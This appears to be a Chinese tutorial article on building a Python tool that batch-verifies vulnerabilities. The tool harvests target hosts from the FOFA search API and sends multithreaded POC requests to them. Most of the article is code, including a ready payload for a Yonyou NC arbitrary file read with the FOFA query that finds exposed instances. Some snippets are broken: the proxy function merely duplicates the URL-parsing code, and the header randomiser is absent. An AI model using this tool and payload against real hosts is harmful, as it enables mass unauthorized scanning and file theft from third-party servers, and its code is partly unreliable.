這篇文章主要介紹“Python實現POC漏洞批量驗證程序的腳本怎么寫”的相關知識,小編通過實際案例向大家展示操作過程,操作方法簡單快捷,實用性強,希望這篇“Python實現POC漏洞批量驗證程序的腳本怎么寫”文章能幫助大家解決問題。
1、poc盡可能簡單。
2、多線程。
3、聯動fofa獲取目標。
4、隨機請求頭.
腳本分為三個模塊,獲取poc及目標、多線程批量請求驗證、輸出結果。其中批量請求驗證包括構造多線程,修改請求參數,發送請求三個部分。
在main函數中,主要有三個部分獲取poc及目標,多線程(將目標填充到隊列,創建多線程并啟動)、輸出結果。
具體實現如下:
def main(): # 響應Ctrl+C停止程序 signal.signal(signal.SIGINT, quit) signal.signal(signal.SIGTERM, quit) showpocs() ## 獲取目標 targetList = getTarget() ## 多線程批量請求驗證 thread(targetList) ## 輸出結果 putTarget(List)
關于目標來源,設計單個目標、從文件中讀取多個目標以及根據FoFa語法從FOFA_API中獲取目標三種方式。
定義函數getTarget,函數分為兩個部分
第一部分為根據 -f Fofa語法
獲取目標,默認數目為30條,
第二部分為根據 -u url / -i file / -f num(數目,默認為10)
獲取要請求驗證的目標,兩部分以是否傳參poc參數區別,最后返回一個targetList列表。
具體實現如下:
def getTarget(): targetList=[] count=0 if result.poc==None: if result.outfile!=None and result.fofa!=None : # FOFA讀取目標 if result.fofa!=None: qbase=result.fofa qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8") print("FOFA搜索:"+qbase) fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30" try: res=requests.get(fofa_url) results = json.loads(res.text) filepath=result.outfile with open(filepath,'w') as targets: for i in results['results']: targets.write(i[1]+'\n') print(i[1]) count+=1 print("搜索結果有"+str(count)+"條,已保存在"+filepath+"里!") except Exception as e: print(e) sys.exit() else: if result.url!=None or result.file!=None or result.fofa!=None: # 單個目標 if result.url!=None: targetList.append(result.url) # 文件讀取目標 if result.file!=None: try: filepath=result.file with open(filepath,'r') as targets: for target in targets.readlines(): targetList.append(target.strip()) except Exception as e: print(e) # FOFA讀取目標 if result.fofa!=None: qbase="" pocName = result.poc with open('poc.json',encoding='UTF-8') as f: data = json.load(f) for poc in data: if pocName == poc: qbase=data[poc]['fofa'] qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8") try: fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa) res=requests.get(fofa_url) results = json.loads(res.text) print("FOFA搜索:"+qbase) print("搜索結果:"+str(result.fofa)+"條") for i in results['results']: targetList.append(i[1]) # print(targetList) except Exception as e: print(e) return targetList else : sys.exit("參錯有誤!缺少目標!")
定義thread函數,封裝多線程請求相關代碼,需傳入獲取到的目標參數targetList。
具體實現如下:
def thread(targetList): ## 獲取poc poc=poc_load() ## 填充隊列 queueLock.acquire() for target in targetList: targetQueue.put(target) queueLock.release() ## 創建線程 threadList = [] threadNum=result.threadNum for i in range(0,threadNum): t=reqThread(targetQueue,poc) t.setDaemon(True) threadList.append(t) for i in threadList: i.start() # 等待所有線程完成 for t in threadList: t.join()
請求驗證必須使用 -p pocName
參數指定要使用的POC,所有POC在poc.json文件中存儲。
具體實現如下
# 加載poc def poc_load(): if result.poc!=None: poc = result.poc isPoc = False # POC是否存在 # 讀取json文件 with open('poc.json',encoding='UTF-8') as f: data = json.load(f) for key in data: if poc == key: isPoc=True if isPoc==False: print("POC 不存在!") sys.exit("請通過--show查看poc列表!") else: return data[poc] else: pass
定義reqThread線程類,傳入隊列以及poc兩個參數,封裝req請求方法。
具體實現如下:
class reqThread (threading.Thread): def __init__(self, q,poc): threading.Thread.__init__(self) self.q = q self.poc=poc def run(self): try: while not self.q.empty(): queueLock.acquire() target=self.q.get() queueLock.release() if self.req(target): print(target+" is vuln !") List.append(target) else: pass except Exception as e: pass def req(self,url): poc=self.poc payload=urlParse(url)+poc['request']['url'] res=requests.request(method=poc['request']['method'],url=payload,headers=randomheaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5) if res.status_code==200 and poc['request']['confirm'] in res.text: return True else: return False
其中在req中的請求方法內,存在三個修改請求的方法。
對獲取到的目標進行文本處理。
# 處理url def urlParse(url): if "https://" not in url: if "http://" in url: url=url else: url="http://"+url return url
指定請求代理。
# 代理 def urlParse(url): if "https://" not in url: if "http://" in url: url=url else: url="http://"+url return url
添加隨機User-Agent、referer、XFF等請求頭參數值。

定義全局變量List,儲存要輸出的目標,定義輸出方法putTarget。
具體實現如下:
List=[] ## 輸出 def putTarget(resultList): if result.file!=None or result.fofa!=None: if len(resultList)!=0 : if result.outfile != None : filepath=result.outfile with open(filepath,'w') as targets: for target in resultList: targets.write(target+'\n') print("驗證結果有"+str(len(resultList))+"條,已保存在"+filepath+"里!") else: print("沒有發現存在漏洞的目標!") else: pass
# 忽略https告警 requests.packages.urllib3.disable_warnings(InsecureRequestWarning) ## 隊列 targetQueue = queue.Queue(100) ## 鎖 queueLock = threading.Lock() # 結果 List=[] # FoFA email="" key=""
arg = ArgumentParser(description='POC_Verify') arg.add_argument('-u', dest='url',help='Target URL',type=str) arg.add_argument('-i', '--file', dest='file',help='Scan multiple targets given in a textual file',type=str) arg.add_argument('-f',"--fofa", dest='fofa',help='fofaquery Nums/String Example if poc -f 10 else -f "abc" default=30',default=10) arg.add_argument('-p', dest='poc',help=' Load POC file from poc.json') arg.add_argument('-proxy', dest='proxy',help='Use a proxy to connect to the target URL Example : -proxy http:127.0.0.1:8080',type=str) arg.add_argument('-t', dest='threadNum',help='the thread_count,default=10', type=int, default=10) arg.add_argument('-show', dest='show', help='show all pocs',nargs='?',const='all',type=str) arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result', default='result.txt',type=str) result = arg.parse_args()
## 顯示poc def showpocs(): isPoc = False if result.show != None: # 讀取json文件 with open('poc.json',encoding='UTF-8') as f: data = json.load(f) if result.show== "all": print("pocname".ljust(20),"description".ljust(20)) print("----------------------------------------------") for key in data: print(key.ljust(20),data[key]['name'].ljust(20)) else: if result.show in data: print("pocname".ljust(20),"description".ljust(20)) print("----------------------------------------------") print(result.show.ljust(20),data[result.show]['name'].ljust(20)) sys.exit() else: pass
# 停止程序 def quit(signum, frame): print('You choose to stop me.') sys.exit() def main(): # 響應Ctrl+C停止程序 signal.signal(signal.SIGINT, quit) signal.signal(signal.SIGTERM, quit)
poc本質為一次HTTP請求,本著簡單的原則,僅設計名稱、聯動fofa的語法、請求頭、請求內容、以及驗證漏洞存在回顯的內容5個字段。
{ "pocname": { "name":"漏洞描述", "fofa":"fofa搜索字符串,特殊符號需要轉義", "request": { "method": "", "url":"", "headers": { "referer": "", "User-Agent": "", "X-Forwarded-For": "", "Content-Type": "" }, "data": "", "confirm": "回顯字符串" } }, "yonyounc": { "name": "用友NC 任意文件讀取", "fofa":"app=\"用友-UFIDA-NC\"", "request": { "method": "get", "url": "/NCFindWeb?service=IPreAlertConfigService&filename=index.jsp", "headers": { "referer": "", "User-Agent": "", "X-Forwarded-For": "" }, "data": "", "confirm": "<%@ page language=" } } }
代碼實現基本功能,已暫時符合自己使用需求,此次實踐已完成編寫目的,但一些容錯機制以及細小功能點還需完善,如輸入為空程序運行結果,以及代理模塊功能待實現。
通過此次編程,在熟悉Python編程的同時也深感代碼功底的薄弱。
不過最后還是學習到不少知識,比如多線程、讀寫文件、數據類型操作、命令行參數讀取、編程模塊化思想等。
  
之后可以多嘗試使用python編寫小demo工具,避免對編程思維生疏。
